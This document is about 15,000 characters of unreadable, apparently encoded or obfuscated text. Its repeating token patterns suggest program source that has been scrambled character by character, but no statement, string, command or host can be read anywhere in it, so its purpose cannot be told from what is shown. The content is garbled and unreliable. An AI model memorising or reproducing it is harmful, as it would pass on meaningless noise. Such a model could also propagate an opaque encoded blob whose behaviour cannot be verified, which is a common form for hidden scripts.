BD\JJ@K[%CK_UZ[Z_A\KtrMMGCVDKC_KAC%CK_UZ[Z_A\KtrFH]MK@AMIL\%CK_UZ[Z_A\KtrFH]MK@AMIL\%CK_UZ[Z_A\KtrFH]MK@AMIL\%%CK_UZ[Z_A\KtrMMGCVDKC_KAC%%%LDZL_KDWpN]UVBD\JJ@K[FXpY^U_NV^MUH\[]FAHoFXpY^U_NV^MUHUVBD\JJ@K[%FILDZL_KDWpN]T%HC\F^NFWFXpY^U_NV^MUHLDZL_KDWpN]INC\J%I@]JNLGFXpY^U_NV^MUHHC\F^NFWLDZL_KDWpN]N\ICMINUBAF]@T%ICMINUBAF]@MMGCVDKC_KACICMINUBAF]@%FIICMINUBAF]@T%CK_UZ[Z_A\KtrICMINUBAF]@%R%R%R%%CK_UZ[Z_A\KMMGCVDKC_KACFH]MK@AMIL\CK_UZ[Z_A\K%_@_[FNL\CUVBD\JJ@K[[]ZJ%%]XM^CM^YKC@N]]NVpB_ML_MSGLGV\GANpB_ML_Mq%%I@]JNLGCK_UZ[Z_A\KN\]_DCDZL\T%%FIoMMGCVDKC_KAC]_DCDZL\SSoFH]MK@AMIL\]_DCDZL\T%L@A[FAZJ%R%%%FIMMGCVDKC_KAC[]ZJ_@_[FNL\CWWT%M]JND%R%%%%%]XM^CM^YKC@MMGCVDKC_KAC]XM^CM^YKC@@W\VXUMBBMZV]_DCDZL\A\HFKNM[WJWDYILVEBA\HFKNM[
%R%%%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZMMGCVDKC_KACC[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pTFE\MMGgpbne`}pyj}|f`a\E\^GppLVpFE\MMG%%R%%]J[Z]AMMGCVDKC_KACUVBD\JJ@K[]XM^CM^YKC@N]]NV\MU[\[GL_FA[I%%%R%IZAL[F@AUWE@F]Y]NAGCAH\HJLHU^WW_L%T%[]VT%UZH@XGL[B@VMAEJN]]NV\HJLHU^WW_LMMGCVDKC_KAC\HJLHU^WW_LFH]MK@AMIL\%I@]JNLGUZH@XGL[B@VMAEJN\]_DCDZL\T%FIoFXpY^U_NV^MUH]_DCDZL\T%L@A[FAZJ%R%VNJJN\FUZ\ZGAJG\GN\^DZ]_DCDZL\%FIFXpY^U_NV^MUHVNJJN\FUTGGDGZpBELNWIWMU\NN_DUM@GGDGZpBELN
%L@A[FAZJ%R%I@]JNLGVNJJN\FUN\C[A_M[pT%FIFH]MK@AMIL\C[A_M[pMMGCVDKC_KAC		WJFpLJXCX\KDIY]_DCDZL\ C[A_M[pT%%]J[Z]A[]ZJ%R%R%I@]JNLGVNJJN\FUN\C[A_M[pT%_pJD^BCW]\]]_DCDZL\ C[A_M[p%%%FIoFXpY^U_NV^MUH_pJD^BCW]\]T%L@A[FAZJ%%R%LJFIWHBYZ\ZGAJG\GN\^DZ_pJD^BCW]\]%FIMMGCVDKC_KACLJFIWHBYT%L@A[FAZJ%R%I@]JNLGLJFIWHBYN\KJ^B@NIBBM_T%FIFH]MK@AMIL\KJ^B@NIBBM_WWFH]MK@AMIL\		WJFpLJXCX\KDIY_pJD^BCW]\] KJ^B@NIBBM_WMWKT%%%%]J[Z]A[]ZJ%R%%R%R%R%RLN[LG{G]@XNMCJC[A_M[pT%  o\J]FNCFUJNKN_[J]%%@DWMpK]LDZ\KNVCZMMGCVDKC_KACC[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%%R%]J[Z]AINC\J%R%IZAL[F@AII_YE@F]\FDI%T%[]VT%FIUBJKIEMY[LUBHX]\MJUBY]J[Z]A%%%%FIHJ[p[]NA\FJA[MMGCVDKC_KACT%]J[Z]A%%%R%%%_CGXELCHAVWJUWWVAWYF]BX%FI_CGXELCHAVWSSMMGCVDKC_KAC_CGXELCHAVWT%]J[Z]A%R%FIYUKA]KF^LpMLUMZ_CGXELCHAVWT%@DWMpK]LDZ\KNVCZFH]MK@AMIL\MMGCVDKC_KAC%]J[Z]A%R%  x@\[{F[CJJANMCJ_]@@I[J]B%%%%]XM^CM^YKC@N_VL\BVFFYX%%FIJB_[V]XM^CM^YKC@T%FIHJ[p[]NA\FJA[FXpY^U_NV^MUHT%%@DWMpK]LDZ\KNVCZMMGCVDKC_KACMMGCVDKC_KAC%\J[p[]NA\FJA[UVBD\JJ@K[WNNW%R%\J[p[]NA\FJA[FXpY^U_NV^MUH%]J[Z]A%%%R%%\KFWF^\ZC%I@]JNLG]XM^CM^YKC@N\\HJLHU^WW_LT%%%%%%%%FIUWE@F]Y]NAGCAH\HJLHU^WW_LT%L@A[FAZJ%R%%D_KW@LEFN^X[%JJHKY\BLGFWME\HJLHU^WW_LFXpY^U_NV^MUH%%FIoMMGCVDKC_KACJJHKY\BLGFWME		oMMGCVDKC_KACJJHKY\BLGFWMET%JJHKY\BLGFWMEAZCC%%%RJC\JFIoFH]MK@AMIL\JJHKY\BLGFWMET%%%%pAWDW\CVHEINNKJJHKY\BLGFWME[]ZJ%%%%R%FIJJHKY\BLGFWME		oMMGCVDKC_KACJJHKY\BLGFWMESSoFH]MK@AMIL\JJHKY\BLGFWMET%JJHKY\BLGFWMEAZCC%R%FIJJHKY\BLGFWMET%%%%UIGAVMFUM\JJHKY\BLGFWME FD\GHZWZVWFC^LV%%%LVX]]J@NYKN[IB^@@IDZVNJD@AX_CGXELCHAVW%VGYEZpA[EKM^^WMFAZ@NUIGAVMFUM\LVX]]J@NYKNFXpY^U_NV^MUH%FIVGYEZpA		VGYEZpAFH]MK@AMIL\LVX]]J@NYKNT%%%D_KW@LEFN^X[UIGAVMFUM\%R%R%%%FID_KW@LEFN^X[T%]\A@L[BXYEX^WUVBD\JJ@K[FD\GHZWZVWFC^LVn{gfai`pifcjanbj%LpVp]V@ZJU\HJLHU^WW_LMMGCVDKC_KAC]\A@L[BXYEX^W%FIoMMGCVDKC_KACLpVp]V@ZJUT%pAWDW\CVHEINNKLpVp]V@ZJU[]ZJ%R%UIGAVMFUM\LpVp]V@ZJU FD\GHZWZVWFC^LV%LVX]]J@NYKN[IB^@@IDZVNJD@AX_CGXELCHAVW%VGYEZpA[EKM^^WMFAZ@NUIGAVMFUM\LVX]]J@NYKNUVBD\JJ@K[%%%FIVGYEZpA		VGYEZpAFXpY^U_NV^MUHLVX]]J@NYKNT%D_KW@LEFN^X[UIGAVMFUM\%%MN\JANBJ]\A@L[BXYEX^W FD\GHZWZVWFC^LV%%%GBXNE@_F_Y[^\HJLHU^WW_LMN\JANBJ%R%R%FID_KW@LEFN^X[T%L@A[FAZJ%R%JECDKL[DCD_KW@LEFN^X[%^^[J]pC_EXZI\U\YFLJD_KW@LEFN^X[WWM%%%\KFWF^\ZC%R%%%%FI\KFWF^\ZCT%\J[p[]NA\FJA[FH]MK@AMIL\WIIWIM%RJC\JT%\J[p[]NA\FJA[MMGCVDKC_KAC%R%%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHC[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%R%R%IZAL[F@AGBXNE@_F_Y[^\HJLHU^WW_LMN\JANBJ%T%[]VT%%%%FMM[N^YJAM\HJLHU^WW_LUVBD\JJ@K[%FIoMMGCVDKC_KACFMM[N^YJAMT%FMM[N^YJAMMMGCVDKC_KAC\HJLHU^WW_LFH]MK@AMIL\%FIoMMGCVDKC_KACFMM[N^YJAMT%]J[Z]A%R%R%%%FB\HI_GoFXpY^U_NV^MUHFMM[N^YJAM%FIFB\HI_GT%]J[Z]A%R%_M]pJIUIN%_]JIFW%%%FIMMGCVDKC_KACUVBD\JJ@K[FB\HI_GYE\BAI_TCYGMIFWASVWpXCpUIZpCYGMIFWAq%%_M]pJIUINYE\BAI_tr%R%FIUVBD\JJ@K[FXpY^U_NV^MUHFB\HI_GYE\BAI_T%_]JIFWYE\BAI_tr%R%FI_M]pJIUINSS_]JIFWSSFXpY^U_NV^MUHUVBD\JJ@K[_]JIFWT%]J[Z]A%%R%%%X_KMhc`mnc|tFXpY^U_NV^MUHr%FIUVBD\JJ@K[X_KMSSFH]MK@AMIL\X_KMFH]MK@AMIL\T%]J[Z]A%R%FIMMGCVDKC_KACFH]MK@AMIL\_M]pJIUINT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[MMGCVDKC_KAC%]J[Z]A%%%%R%@[^YVHD^AYZO_M]pJIUINFH]MK@AMIL\_]JIFWUVBD\JJ@K[%X_KM^ZJ]VFXpY^U_NV^MUH%I[]BN@E\X_KMHJ[pYN]|MMGCVDKC_KAC@[^YVHD^AYZMMGCVDKC_KACFXpY^U_NV^MUHFH]MK@AMIL\%FII[]BN@E\AZCCT%X_KM^ZJ]VFH]MK@AMIL\%]J[Z]A%%R%KNMY]_A\[YBpN\N[L^ZNI[]BN@E\%FIFH]MK@AMIL\KNMY]_A\[T%%%%X_KM^ZJ]VFXpY^U_NV^MUH%]J[Z]A%R%FIUVBD\JJ@K[MN\JANBJKNMY]_A\[[]ZJT%X_KM^ZJ]VFH]MK@AMIL\%]J[Z]A%R%%KNMY]_A\[trMN\JANBJ%%KNMY]_A\[FH]MK@AMIL\KNMY]_A\[%[KEUFBJVHEMMGCVDKC_KACKNMY]_A\[%VLDpN]p^XNU]X_KM^ZJ]VX_KM_]J_N]JzFH]MK@AMIL\@[^YVHD^AYZFXpY^U_NV^MUHFXpY^U_NV^MUH[KEUFBJVHE%%%%FIVLDpN]p^XNU]INC\JT%%%%@DWMpK]LDZ\KNVCZUVBD\JJ@K[FXpY^U_NV^MUH%X_KM^ZJ]VUVBD\JJ@K[%%%]J[Z]A%R%X_KM^ZJ]VMMGCVDKC_KAC%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[C[A_M[p%FIMMGCVDKC_KAChc`mnc|tUVBD\JJ@K[rT%ohc`mnc|tUVBD\JJ@K[r^ZJ]VUVBD\JJ@K[%R%RLN[LGjWLJ_[F@AC[A_M[pT%%%@DWMpK]LDZ\KNVCZMMGCVDKC_KACC[A_M[p%FIUVBD\JJ@K[hc`mnc|tFXpY^U_NV^MUHrT%ohc`mnc|tMMGCVDKC_KACr^ZJ]VMMGCVDKC_KAC%R%R%%%R%IZAL[F@AEUJE@YFpV%T%\[N[FLFB\HI_GAZCC%FIFB\HI_GAZCC]J[Z]AFB\HI_G%FIFXpY^U_NV^MUHFXpY^U_NV^MUHT%FB\HI_G\IJI_V[SLJ\MJCBYY\IJI_V[q%]J[Z]AFB\HI_GW@HKEEgpfa{pbnw gpfa{pbnwKF]FUYBYW@HKEE%%R%FB\HI_GoHUFAICN[JFXpY^U_NV^MUHFXpY^U_NV^MUH%%FIFH]MK@AMIL\FB\HI_GSSFXpY^U_NV^MUHFB\HI_GFB\HI_G%]J[Z]AFB\HI_G%R%IZAL[F@AFXADME@MC_K%T%%[]VT%FIKJIFAJKMMGCVDKC_KAC]J[Z]A%KY^^N_EXEYUVUVBD\JJ@K[]\MJUBYMMGCVDKC_KAC%^IHI_IG]]@\J__MJJCW]ZGnm|n{gMMGCVDKC_KACUVBD\JJ@K[%_AMD^[EK@\J__MJJCW]ZGnm|n{gFH]MK@AMIL\q%^LEAUHU\DNBUMFXpY^U_NV^MUHFH]MK@AMIL\L@A[JA[pZ]C%FI^LEAUHU\DNBUMT%^LEAUHU\DNBUMFXpY^U_NV^MUHUVBD\JJ@K[HJ[p\F[JpZ]CFH]MK@AMIL\%R%  _N]NCCJCFUJL@BBNAKI@]bV|~cXFAK@XIZAL[F@A\%%JUKFJYVVFH]MK@AMIL\FXpY^U_NV^MUHUVBD\JJ@K[^LEAUHU\DNBUM ^IHI_IG]]%FIFH]MK@AMIL\JUKFJYVVMMGCVDKC_KACJUKFJYVVFXpY^U_NV^MUHMMGCVDKC_KACJUKFJYVV %N_VIN[_ELFH]MK@AMIL\FH]MK@AMIL\G@BJpZ]CUVBD\JJ@K[XpAWIH\JMABDpMMGCVDKC_KAC%FIN_VIN[_ELN_VIN[_ELFXpY^U_NV^MUHXHUL_\YVJD@^MIFH]MK@AMIL\XpAWIH\JMABDpFXpY^U_NV^MUH%FIFH]MK@AMIL\N_VIN[_ELMMGCVDKC_KACN_VIN[_ELFXpY^U_NV^MUHFH]MK@AMIL\FXpY^U_NV^MUHMMGCVDKC_KACN_VIN[_EL %HAEEVU^F@F\\J[hc`mnc|tFXpY^U_NV^MUHr		MMGCVDKC_KAChc`mnc|tFH]MK@AMIL\rhc`mnc|tFXpY^U_NV^MUHr%FIMMGCVDKC_KACHAEEVU^F@T%HAEEVU^F@@KWNGU_GUAFpFXpY^U_NV^MUH%R%FIFH]MK@AMIL\HAEEVU^F@qT%HAEEVU^F@EUJE@YFpV%%%%R%F_GpWIYVYUp%FIF\\J[hc`mnc|tMMGCVDKC_KACr		FH]MK@AMIL\hc`mnc|tMMGCVDKC_KACr		FXpY^U_NV^MUHhc`mnc|tFH]MK@AMIL\rT%F_GpWIYVYUphc`mnc|tFXpY^U_NV^MUHr%RJC\JT%F_GpWIYVYUp@KWNGU_GUAFpFXpY^U_NV^MUH%%%R%  [V_JBN[LGFAH%%FIUVBD\JJ@K[F_GpWIYVYUpT%EUpCCUU[VUN]KXADBYMMGCVDKC_KACF_GpWIYVYUpFH]MK@AMIL\%R%_WNKE\V^NA@HMMGCVDKC_KACMMGCVDKC_KAC\[]FAHFXpY^U_NV^MUHG@BJpZ]C gpz}cpn{g %FI_WNKE\V^NA@H_WNKE\V^NA@H %FIFXpY^U_NV^MUH_WNKE\V^NA@H _WNKE\V^NA@H %^F_LA_]]\N]]NV%FH]MK@AMIL\AAJBA^V@XVJDNHXE%%FH]MK@AMIL\^GHpZJ^_YYVMIG%%%%MMGCVDKC_KAC_WNKE\V^NA@H%%%ZDBAZXEYI\N]]NV%FH]MK@AMIL\JUKFJYVV%MMGCVDKC_KACKY^^N_EXEYUV%%%MMGCVDKC_KACN_VIN[_EL%%MMGCVDKC_KAC@\J__MJJCW]ZGnm|n{gFH]MK@AMIL\q%FH]MK@AMIL\F_GpWIYVYUp%%UKAX[p]GW@GMFZYEXHXZ]UADppWFH]MK@AMIL\%FIFXpY^U_NV^MUHUKAX[p]GW@SSUVBD\JJ@K[UKAX[p]GW@T%%]J[Z]A%R%JYKWK@DUEWKIFH]MK@AMIL\UU\^UXM\GGVWJJFpFH]MK@AMIL\ZDBAZXEYI\UKAX[p]GW@%E\BVYX\HI]]UVBD\JJ@K[MMGCVDKC_KACUVBD\JJ@K[^F_LA_]]\FH]MK@AMIL\%E\BVYX\HI]]MMGCVDKC_KACJYKWK@DUEWKIMMGCVDKC_KAC%EUpCCUU[VUN]KXADBYUVBD\JJ@K[E\BVYX\HI]]FXpY^U_NV^MUH%EUpCCUU[VUN]KXADBYFH]MK@AMIL\FH]MK@AMIL\\[]FAHHAEEVU^F@\[]FAHF_GpWIYVYUpUKAX[p]GW@SMMGCVDKC_KACXHUL_\YVJD@^MIMMGCVDKC_KAC%KLMKZJEMGILBXFH]MK@AMIL\FH]MK@AMIL\G@BJpZ]CFXpY^U_NV^MUHXpAWIH\JMABDpFH]MK@AMIL\%FIKLMKZJEMGILBXKLMKZJEMGILBXMMGCVDKC_KACXHUL_\YVJD@^MIUVBD\JJ@K[XpAWIH\JMABDpUVBD\JJ@K[%FIMMGCVDKC_KACKLMKZJEMGILBXFXpY^U_NV^MUHKLMKZJEMGILBXFXpY^U_NV^MUHMMGCVDKC_KACFH]MK@AMIL\FH]MK@AMIL\KLMKZJEMGILBX %EUpCCUU[VUN]KXADBYUVBD\JJ@K[KLMKZJEMGILBXFH]MK@AMIL\%%%FIMMGCVDKC_KACHAEEVU^F@WWKT%]J[Z]A%R%EUpCCUU[VUN]KXADBYUVBD\JJ@K[HAEEVU^F@MMGCVDKC_KAC%FINHGYVFA\AKH]J[Z]A%%JEDZJUNLJA]IXB[[I@V^YMAMHF%FIoFH]MK@AMIL\JEDZJUNLJA]IpAWDW\CVHEINNKJEDZJUNLJA]I[]ZJ%FIoFH]MK@AMIL\JEDZJUNLJA]ISSoMMGCVDKC_KACJEDZJUNLJA]I]J[Z]A%L]LNG^JLJEDZJUNLJA]I _AMD^[EKFH]MK@AMIL\AAD@\^B@CESDDGKCYU@[KIWAAD@\^B@CEq%[_@\BAApI\BLEKWJ_Gp_JI%%%FXpY^U_NV^MUH%N]]NVpp|czhppppufpanbjppppx}f{jpdjvppppyj}|f`app%%%N]]NVKY^^N_EXEYUV^IHI_IG]]@\J__MJJCW]ZGnm|n{gMMGCVDKC_KACXHMDNU[UXH@NANXI[%%%%FI[_@\BAT%FIFA[HJ[p@_[F@AMMGCVDKC_KAC@DWMpK]LDZ\KNVCZUVBD\JJ@K[FH]MK@AMIL\%]J[Z]A%%%%R%FIoMMGCVDKC_KACL]LNG^JLSSFXpY^U_NV^MUHEXpF\FZFGEDEJ\[]FAHoUVBD\JJ@K[L]LNG^JLFH]MK@AMIL\[_@\BAT%[EKM^^WMFAZ@NL]LNG^JL[_@\BAMMGCVDKC_KAC%LDGZAFpWLVH[K[L]LNG^JLXGUWZVGJZFI%%^^[J]pC_EXZI\U\YFLJL]LNG^JLWJWML%%CNIDVG[IGpNL]LNG^JL%R%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHC[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%R%R%IZAL[F@AApI\BLEKWJ_Gp_JIDJVKWUBBF\DE@@AA[^E\BVJV[%T%pHBBWGHWGE[X@AZCC%%FIpHBBWGHWGE[X@AZCCT%pHBBWGHWGE[X@FXpY^U_NV^MUHFH]MK@AMIL\HJ[p[]NA\FJA[N\\]pHFUFD\^INC\J%FIFH]MK@AMIL\pHBBWGHWGE[X@T%%pHBBWGHWGE[X@NGF\IApYK^]NDYWZFXpY^U_NV^MUHINC\J%R%FIUVBD\JJ@K[pHBBWGHWGE[X@T%pHBBWGHWGE[X@N]]NV%R%  LGJLD_@FA[_@\F[FYJKJIFAF[J]JL@]KCNVJ]%%R%LYF]DCIHpY%FIF\\J[pHBBWGHWGE[X@tDJVr		FXpY^U_NV^MUHpHBBWGHWGE[X@tDJVrT%LYF]DCIHpYpHBBWGHWGE[X@tDJVrUWC_MWD]UZ^YVFF\\UWC_MWD]%R%FIFXpY^U_NV^MUHLYF]DCIHpYT%%%LYF]DCIHpY@KWNGU_GUAFpDJV%R%%%FIFXpY^U_NV^MUHLYF]DCIHpYWWK]J[Z]AINC\J%%%[MB[V@ZCL_FH]MK@AMIL\LYF]DCIHpY[]ZJ%FI[MB[V@ZCL_SSMMGCVDKC_KAC[MB[V@ZCL_WWI]J[Z]AINC\J%%%FIMMGCVDKC_KAC[MB[V@ZCL_FH]MK@AMIL\INC\J]J[Z]AINC\J%[MB[V@ZCL_FH]MK@AMIL\KWUBBF\DE@@AA[^E\BVJV[[MB[V@ZCL_%FIKJIFAJKFH]MK@AMIL\T%%[]VT%o[@DJApHJ[pNCC[MB[V@ZCL_{`djapn}|j%RLN[LG{G]@XNMCJC[A_M[pT%]J[Z]AINC\J%%%RLN[LGjWLJ_[F@AC[A_M[pT%]J[Z]AINC\J%%R%%%RJC\JFIYUKA]KF^LpMLUMZ[MB[V@ZCL_T%]J[Z]AINC\J%R%]J[Z]A[MB[V@ZCL_%%R%IZAL[F@AUCHB_KLZXXEUN@D[%%%%T%[]VT%FIMMGCVDKC_KACUVBD\JJ@K[]J[Z]A%FIKJIFAJKFH]MK@AMIL\]J[Z]A%DLV@EMMp@VMNXUM^]FA_KYMCKUD%FIDLV@EMMp@VMT%FXADME@MC_K%DLV@EMMp@VMNXUM^]FA_KYMCKUD%R%M@H[[KL_\VV@KWNGU_GUAFpMMGCVDKC_KAC%FIFXpY^U_NV^MUHM@H[[KL_\VVM@H[[KL_\VVUVBD\JJ@K[sW%%%%MYADVI[NJALGF\\J[hc`mnc|tUVBD\JJ@K[r		FXpY^U_NV^MUHhc`mnc|tFXpY^U_NV^MUHr		MMGCVDKC_KAChc`mnc|tFXpY^U_NV^MUHrhc`mnc|tMMGCVDKC_KACr@KWNGU_GUAFpFXpY^U_NV^MUH%FIMMGCVDKC_KACMYADVI[NJALGMYADVI[NJALGEUJE@YFpV%@ApYZpp^[L^F\\J[hc`mnc|tMMGCVDKC_KACr		MMGCVDKC_KAChc`mnc|tUVBD\JJ@K[r		UVBD\JJ@K[hc`mnc|tMMGCVDKC_KACrqhc`mnc|tFH]MK@AMIL\r@KWNGU_GUAFpUVBD\JJ@K[%UZ_VYYMUVBD\JJ@K[MYADVI[NJALG@ApYZpp^[L^M@H[[KL_\VVSUVBD\JJ@K[XHUL_\YVJD@^MI%FI@KWNGU_GUAFpMMGCVDKC_KACUZ_VYYMT%FXADME@MC_K%DLV@EMMp@VMNXUM^]FA_KYMCKUD%R%FINHGYVFA\AKH]J[Z]A%YIHUKIZVK^W\ZBKLY[ZIN[NU]pWIFVAC][UKVLZ[NU]pWIF%V]GpGVLNV@]oFXpY^U_NV^MUHYIHUKIMMGCVDKC_KAC%FIV]GpGVLNV@]		DLV@EMMp@VM		HJ[p[]NA\FJA[MMGCVDKC_KAC]J[Z]A%pAIC^_VK[_E%AJ\L[ApYUV%ZpZVH]FUGFJ%KE@HDLY\^oUVBD\JJ@K[YIHUKIFXpY^U_NV^MUH%%%DLV@EMMp@VMNXUM^]FA_KYMCKUD%FIKE@HDLY\^		DLV@EMMp@VMT%\J[p[]NA\FJA[FH]MK@AMIL\WWK%R%%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHC[A_M[p%%%RLN[LGjWLJ_[F@AC[A_M[pT%  \[]J\\[J\[]JKZL[F@AI@]xiZCC|F[JjKF[FAH%%%%R%R%%%%IZAL[F@AAJ\L[ApYUV%T%%[]VT%FIKJIFAJKUVBD\JJ@K[]J[Z]A%FIUVBD\JJ@K[FH]MK@AMIL\]J[Z]A%JHCFICVUU]FH]MK@AMIL\FXpY^U_NV^MUHoUVBD\JJ@K[UVBD\JJ@K[INC\J%FIJHCFICVUU]SSJHCFICVUU]SSJHCFICVUU]UVBD\JJ@K[JHCFICVUU]FXpY^U_NV^MUH%_AMD^[EK@\J__MJJCW]ZGnm|n{gFXpY^U_NV^MUHq%YIHUKIZVK^W\ZBKLY[ZIN%JEDZJUNLJA]IXB[[I@V^YMAMHF%NIWCANpD@\J__MJJCW]ZGnm|n{gFH]MK@AMIL\UVBD\JJ@K[%@WZ]F[YIHUKI NIWCANpD%[@V^^HVYIHUKIFXpY^U_NV^MUHNIWCANpD^]ENZYL^gpbne`}pyj}|f`a@^NU[]^]ENZYL^%KY^^N_EXEYUVMMGCVDKC_KAC]\MJUBYFXpY^U_NV^MUH%^IHI_IG]]@\J__MJJCW]ZGnm|n{gUVBD\JJ@K[MMGCVDKC_KAC%V]U^_KCMFA[HJ[p@_[F@AFH]MK@AMIL\%FIV]U^_KCM		MMGCVDKC_KACV]U^_KCMWJJKWNNT%^EMUJ^ICEAWpI\@WZ]F[AZCC%^EMUJ^ICEAWpI\[@V^^HVAZCC%%%I@]JNLGN]]NVUVBD\JJ@K[nm|n{gFH]MK@AMIL\FH]MK@AMIL\YIHUKIFH]MK@AMIL\N\Z@^_B^VDVT%W\@AX\AF[BM\Z@^_B^VDV JHCFICVUU]%%%%LG^_C\EHGoFXpY^U_NV^MUHW\@AX\AF[BM\oFXpY^U_NV^MUHW\@AX\AF[BM\%FIUVBD\JJ@K[LG^_C\EHG		MMGCVDKC_KACLG^_C\EHGNIWCANpDINC\JT%CLUIGX_WZDUVBD\JJ@K[FH]MK@AMIL\UVBD\JJ@K[NIWCANpD FXpY^U_NV^MUHsALG^_C\EHG%%%%FIFXpY^U_NV^MUHCLUIGX_WZD		CLUIGX_WZDLG^_C\EHG\M^IMUZLAAY\WEFW_W\@AX\AF[BM\CLUIGX_WZD%%%%R%  bV|~cl{j\N[[NLGBJA[BJ[NKN[N%%R%]J[Z]A%%%R%WCHNGMDVFApI\BLEKWJ_Gp_JI%%%%MMGCVDKC_KAC%N]]NVpp|czhppppufpanbjppppfa|{pgn|gppppkn{npkf}ppppl`a{ja{pkf}pmppppyj}|f`app%N]]NVKY^^N_EXEYUV^IHI_IG]]_AMD^[EKFH]MK@AMIL\@\J__MJJCW]ZGnm|n{gMMGCVDKC_KACMMGCVDKC_KACKJIFAJKMMGCVDKC_KACxpl`a{ja{pkf}ZVK^W\ZBKLY[ZINXHMDNU[UXH@NANXI[%%FIWCHNGMDVFT%  JW_JL[JKMC@@BIFC[J]%%FIFA[HJ[p@_[F@AUVBD\JJ@K[@DWMpK]LDZ\KNVCZUVBD\JJ@K[FH]MK@AMIL\%]J[Z]A%R%FIoMMGCVDKC_KACJEDZJUNLJA]IpAWDW\CVHEINNKJEDZJUNLJA]IWWL[]ZJKD\N_ZC]NMB[U[BG@KD\N_ZC]NM%F_NU^[D_HH]BINC\J%FIoUVBD\JJ@K[[@V^^HVSSMMGCVDKC_KACEXpF\FZFGEDEJ\[]FAHoMMGCVDKC_KAC[@V^^HVUVBD\JJ@K[WCHNGMDVFT%[EKM^^WMFAZ@N[@V^^HVWCHNGMDVFFXpY^U_NV^MUH%%%%LDGZAFpWLVH[K[[@V^^HVXGUWZVGJZFI%%%^^[J]pC_EXZI\U\YFLJ[@V^^HV%CNIDVG[IGpN[@V^^HV%F_NU^[D_HH]B[]ZJ%R%KF\\E^XM%I@]JNLGN]]NVUVBD\JJ@K[nm|n{gMMGCVDKC_KACMMGCVDKC_KACYIHUKIUVBD\JJ@K[N\@IYJ@MWUA@]IT%%%%IWLZ^CWZ@oMMGCVDKC_KAC@IYJ@MWUA@]I JHCFICVUU]oUVBD\JJ@K[@IYJ@MWUA@]I JHCFICVUU]%FIFXpY^U_NV^MUHIWLZ^CWZ@		UVBD\JJ@K[UVBD\JJ@K[IWLZ^CWZ@__IILV\@UXT%L\\KWNN]CMMGCVDKC_KAC__IILV\@UXtr%FIL\\KWNN]C		\[]F_@\L\\KWNN]CFXpY^U_NV^MUHINC\J		HBIIHN[XH][L\\KWNN]CT%%%%KF\\E^XML\\KWNN]C%M]JND%R%R%R%%AKL[_Y^NZI\XJMMGCVDKC_KACKF\\E^XMFXpY^U_NV^MUHFH]MK@AMIL\KF\\E^XM[]ZJFXpY^U_NV^MUH%FH]MK@AMIL\NIWCANpDMMGCVDKC_KAC%UVBD\JJ@K[%UVBD\JJ@K[%MMGCVDKC_KACMMGCVDKC_KACWCHNGMDVFUVBD\JJ@K[%%%FIoUVBD\JJ@K[@WZ]F[SSMMGCVDKC_KACEXpF\FZFGEDEJ\[]FAHoFXpY^U_NV^MUH@WZ]F[FXpY^U_NV^MUHAKL[_Y^NZI\XJT%%[EKM^^WMFAZ@N@WZ]F[AKL[_Y^NZI\XJUVBD\JJ@K[%LDGZAFpWLVH[K[@WZ]F[XGUWZVGJZFI%%%%^^[J]pC_EXZI\U\YFLJ@WZ]F[%CNIDVG[IGpN@WZ]F[%F_NU^[D_HH]B[]ZJ%R%@@NG_]KHHG[FK[]ZJ%ZLJL][Y_EXpF\FZFGEDEJ\[]FAHoFXpY^U_NV^MUH[@V^^HV%FIoMMGCVDKC_KAC[@V^^HVSSZLJL][Y_WCHNGMDVFT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHFH]MK@AMIL\%^EMUJ^ICEAWpI\[@V^^HVAZCC%@@NG_]KHHG[FKINC\J%R%ZLJL][Y_EXpF\FZFGEDEJ\[]FAHoFXpY^U_NV^MUH@WZ]F[%FIoUVBD\JJ@K[@WZ]F[SSZLJL][Y_AKL[_Y^NZI\XJT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHUVBD\JJ@K[%%%%^EMUJ^ICEAWpI\@WZ]F[AZCC%@@NG_]KHHG[FKINC\JIIBKVHY[IJNXEJGIIBKVHY[%R%ZA\J[ZLJL][Y_%FI@@NG_]KHHG[FKT%pNM]L^\ZGFA[HJ[p@_[F@AFH]MK@AMIL\%Z_KN[Jp@_[F@AFH]MK@AMIL\pNM]L^\ZGUVBD\JJ@K[%FIpNM]L^\ZGWWT%Z_KN[Jp@_[F@AUVBD\JJ@K[UVBD\JJ@K[FXpY^U_NV^MUH%@DWMpK]LDZ\KNVCZMMGCVDKC_KACFH]MK@AMIL\%%R%]J[Z]A%%%R%]YLVMUB_@XXN]]NVMMGCVDKC_KACnm|n{gFXpY^U_NV^MUHUVBD\JJ@K[YIHUKIFXpY^U_NV^MUH%LVVDXXYDWLN]]NV%%%I@]JNLG]YLVMUB_@XXN\]_DCDZL\T%VCVDA_DC@_F]_DCDZL\ JHCFICVUU]%GJDF]AFBXCDBD[AMoFH]MK@AMIL\VCVDA_DC@_FoUVBD\JJ@K[VCVDA_DC@_F%LZ]]JA[oUVBD\JJ@K[VCVDA_DC@_FoFXpY^U_NV^MUHVCVDA_DC@_F%FIMMGCVDKC_KACLZ]]JA[T%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHFXpY^U_NV^MUH%%%]J[Z]A%R%FIFH]MK@AMIL\LZ]]JA[NIWCANpDINC\JT%%%%FILZ]]JA[		FH]MK@AMIL\UVBD\JJ@K[LZ]]JA[sALZ]]JA[sA%YMW]NAC\IUVBD\JJ@K[@WZ]F[gpj`c%FI\M^IMUZLAAY\WEFW_VCVDA_DC@_FLZ]]JA[YMW]NAC\IT%FIGJDF]AFBXCDBD[AMLDGZAFpWLVH[K[VCVDA_DC@_FGJDF]AFBXCDBD[AM%JC\JLDGZAFpWLVH[K[VCVDA_DC@_FFXpY^U_NV^MUH%^^[J]pC_EXZI\U\YFLJVCVDA_DC@_F%Z_KN[Jp@_[F@AFXpY^U_NV^MUHFH]MK@AMIL\